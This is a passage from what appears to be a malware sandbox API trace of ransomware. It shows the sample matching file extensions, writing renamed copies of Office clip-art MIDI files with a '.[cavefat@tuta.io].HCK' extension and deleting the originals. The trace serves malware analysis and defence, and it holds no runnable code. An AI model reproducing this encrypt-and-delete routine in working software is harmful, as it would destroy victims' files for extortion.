3 [0229.860] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.860] lstrlenW (lpString=".dbf") returned 4 [0229.860] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.860] lstrlenW (lpString=".1cd") returned 4 [0229.860] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0229.860] lstrlenW (lpString=".jpg") returned 4 [0229.860] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.860] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0229.860] lstrlenW (lpString="FALL_01.MID") returned 11 [0229.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.861] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4846) returned 1 [0229.861] CloseHandle (hObject=0x4c0) returned 1 [0229.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0229.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.861] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.861] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.862] GetLastError () returned 0x0 [0229.862] ReadFile (in: hFile=0x4c0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x12ee, lpOverlapped=0x0) returned 1 [0229.863] WriteFile (in: hFile=0x4a8, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x12f0, lpOverlapped=0x0) returned 1 [0229.864] ReadFile (in: hFile=0x4c0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.864] WriteFile (in: hFile=0x4a8, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xea, lpOverlapped=0x0) returned 1 [0229.864] SetEndOfFile (hFile=0x4a8) returned 1 [0229.864] CloseHandle (hObject=0x4a8) returned 1 [0229.865] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.865] SetEndOfFile (hFile=0x4c0) returned 1 [0229.867] CloseHandle (hObject=0x4c0) returned 1 [0229.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0229.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.868] lstrlenW (lpString=".doc") returned 4 [0229.868] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.868] lstrlenW (lpString=".docx") returned 5 [0229.868] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.868] lstrlenW (lpString=".pdf") returned 4 [0229.868] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.868] lstrlenW (lpString=".xls") returned 4 [0229.868] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.868] lstrlenW (lpString=".xlsx") returned 5 [0229.868] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.868] lstrlenW (lpString=".ppt") returned 4 [0229.868] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.868] lstrlenW (lpString=".zip") returned 4 [0229.868] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.868] lstrlenW (lpString=".rar") returned 4 [0229.868] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.868] lstrlenW (lpString=".bz2") returned 4 [0229.868] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.868] lstrlenW (lpString=".7z") returned 3 [0229.868] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.868] lstrlenW (lpString=".dbf") returned 4 [0229.868] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.868] lstrlenW (lpString=".1cd") returned 4 [0229.868] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.868] lstrlenW (lpString=".jpg") returned 4 [0229.868] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.869] lstrlenW (lpString=".doc") returned 4 [0229.869] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.869] lstrlenW (lpString=".docx") returned 5 [0229.869] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.869] lstrlenW (lpString=".pdf") returned 4 [0229.869] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.869] lstrlenW (lpString=".xls") returned 4 [0229.869] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.869] lstrlenW (lpString=".xlsx") returned 5 [0229.869] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.869] lstrlenW (lpString=".ppt") returned 4 [0229.869] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.869] lstrlenW (lpString=".zip") returned 4 [0229.869] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.869] lstrlenW (lpString=".rar") returned 4 [0229.869] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.869] lstrlenW (lpString=".bz2") returned 4 [0229.869] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.869] lstrlenW (lpString=".7z") returned 3 [0229.869] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.869] lstrlenW (lpString=".dbf") returned 4 [0229.869] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.869] lstrlenW (lpString=".1cd") returned 4 [0229.869] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0229.869] lstrlenW (lpString=".jpg") returned 4 [0229.869] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.869] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0229.869] lstrlenW (lpString="FINCL_01.MID") returned 12 [0229.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.870] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=12981) returned 1 [0229.870] CloseHandle (hObject=0x4c0) returned 1 [0229.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220 [0229.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.870] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.870] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.871] GetLastError () returned 0x0 [0229.871] ReadFile (in: hFile=0x4c0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x32b5, lpOverlapped=0x0) returned 1 [0229.873] WriteFile (in: hFile=0x4a8, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0229.873] ReadFile (in: hFile=0x4c0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.873] WriteFile (in: hFile=0x4a8, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.874] SetEndOfFile (hFile=0x4a8) returned 1 [0229.874] CloseHandle (hObject=0x4a8) returned 1 [0229.874] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.874] SetEndOfFile (hFile=0x4c0) returned 1 [0229.876] CloseHandle (hObject=0x4c0) returned 1 [0229.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0229.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.877] lstrlenW (lpString=".doc") returned 4 [0229.877] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.877] lstrlenW (lpString=".docx") returned 5 [0229.877] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.877] lstrlenW (lpString=".pdf") returned 4 [0229.877] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.877] lstrlenW (lpString=".xls") returned 4 [0229.877] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.877] lstrlenW (lpString=".xlsx") returned 5 [0229.877] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.877] lstrlenW (lpString=".ppt") returned 4 [0229.877] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.877] lstrlenW (lpString=".zip") returned 4 [0229.877] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.877] lstrlenW (lpString=".rar") returned 4 [0229.877] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.877] lstrlenW (lpString=".bz2") returned 4 [0229.877] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.877] lstrlenW (lpString=".7z") returned 3 [0229.877] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.877] lstrlenW (lpString=".dbf") returned 4 [0229.877] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.877] lstrlenW (lpString=".1cd") returned 4 [0229.877] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.877] lstrlenW (lpString=".jpg") returned 4 [0229.877] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.877] lstrlenW (lpString=".doc") returned 4 [0229.877] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.877] lstrlenW (lpString=".docx") returned 5 [0229.877] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.877] lstrlenW (lpString=".pdf") returned 4 [0229.877] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.877] lstrlenW (lpString=".xls") returned 4 [0229.877] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.877] lstrlenW (lpString=".xlsx") returned 5 [0229.877] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.877] lstrlenW (lpString=".ppt") returned 4 [0229.877] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.877] lstrlenW (lpString=".zip") returned 4 [0229.877] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.877] lstrlenW (lpString=".rar") returned 4 [0229.877] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.878] lstrlenW (lpString=".bz2") returned 4 [0229.878] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.878] lstrlenW (lpString=".7z") returned 3 [0229.878] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.878] lstrlenW (lpString=".dbf") returned 4 [0229.878] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.878] lstrlenW (lpString=".1cd") returned 4 [0229.878] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0229.878] lstrlenW (lpString=".jpg") returned 4 [0229.878] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.878] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0229.878] lstrlenW (lpString="FINCL_02.MID") returned 12 [0229.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.879] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=9318) returned 1 [0229.879] CloseHandle (hObject=0x4c0) returned 1 [0229.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220 [0229.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0229.880] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.880] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0229.881] GetLastError () returned 0x0 [0229.881] ReadFile (in: hFile=0x4c0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2466, lpOverlapped=0x0) returned 1 [0229.882] WriteFile (in: hFile=0x4a8, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2470, lpOverlapped=0x0) returned 1 [0229.883] ReadFile (in: hFile=0x4c0, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.883] WriteFile (in: hFile=0x4a8, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.883] SetEndOfFile (hFile=0x4a8) returned 1 [0229.883] CloseHandle (hObject=0x4a8) returned 1 [0229.883] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.883] SetEndOfFile (hFile=0x4c0) returned 1 [0229.922] CloseHandle (hObject=0x4c0) returned 1 [0229.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0229.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.923] lstrlenW (lpString=".doc") returned 4 [0229.923] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.924] lstrlenW (lpString=".docx") returned 5 [0229.924] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0229.924] lstrlenW (lpString=".pdf") returned 4 [0229.924] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.924] lstrlenW (lpString=".xls") returned 4 [0229.924] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.924] lstrlenW (lpString=".xlsx") returned 5 [0229.924] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0229.924] lstrlenW (lpString=".ppt") returned 4 [0229.924] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.924] lstrlenW (lpString=".zip") returned 4 [0229.924] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.924] lstrlenW (lpString=".rar") returned 4 [0229.924] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.924] lstrlenW (lpString=".bz2") returned 4 [0229.924] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.924] lstrlenW (lpString=".7z") returned 3 [0229.924] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.924] lstrlenW (lpString=".dbf") returned 4 [0229.924] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.924] lstrlenW (lpString=".1cd") returned 4 [0229.924] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.924] lstrlenW (lpString=".jpg") returned 4 [0229.924] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.924] lstrlenW (lpString=".doc") returned 4 [0229.924] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.924] lstrlenW (lpString=".docx") returned 5 [0229.924] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0229.924] lstrlenW (lpString=".pdf") returned 4 [0229.924] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.924] lstrlenW (lpString=".xls") returned 4 [0229.924] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.924] lstrlenW (lpString=".xlsx") returned 5 [0229.924] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0229.924] lstrlenW (lpString=".ppt") returned 4 [0229.924] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.925] lstrlenW (lpString=".zip") returned 4 [0229.925] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.925] lstrlenW (lpString=".rar") returned 4 [0229.925] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.925] lstrlenW (lpString=".bz2") returned 4 [0229.925] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.925] lstrlenW (lpString=".7z") returned 3 [0229.925] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.925] lstrlenW (lpString=".dbf") returned 4 [0229.925] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0229.925] lstrlenW 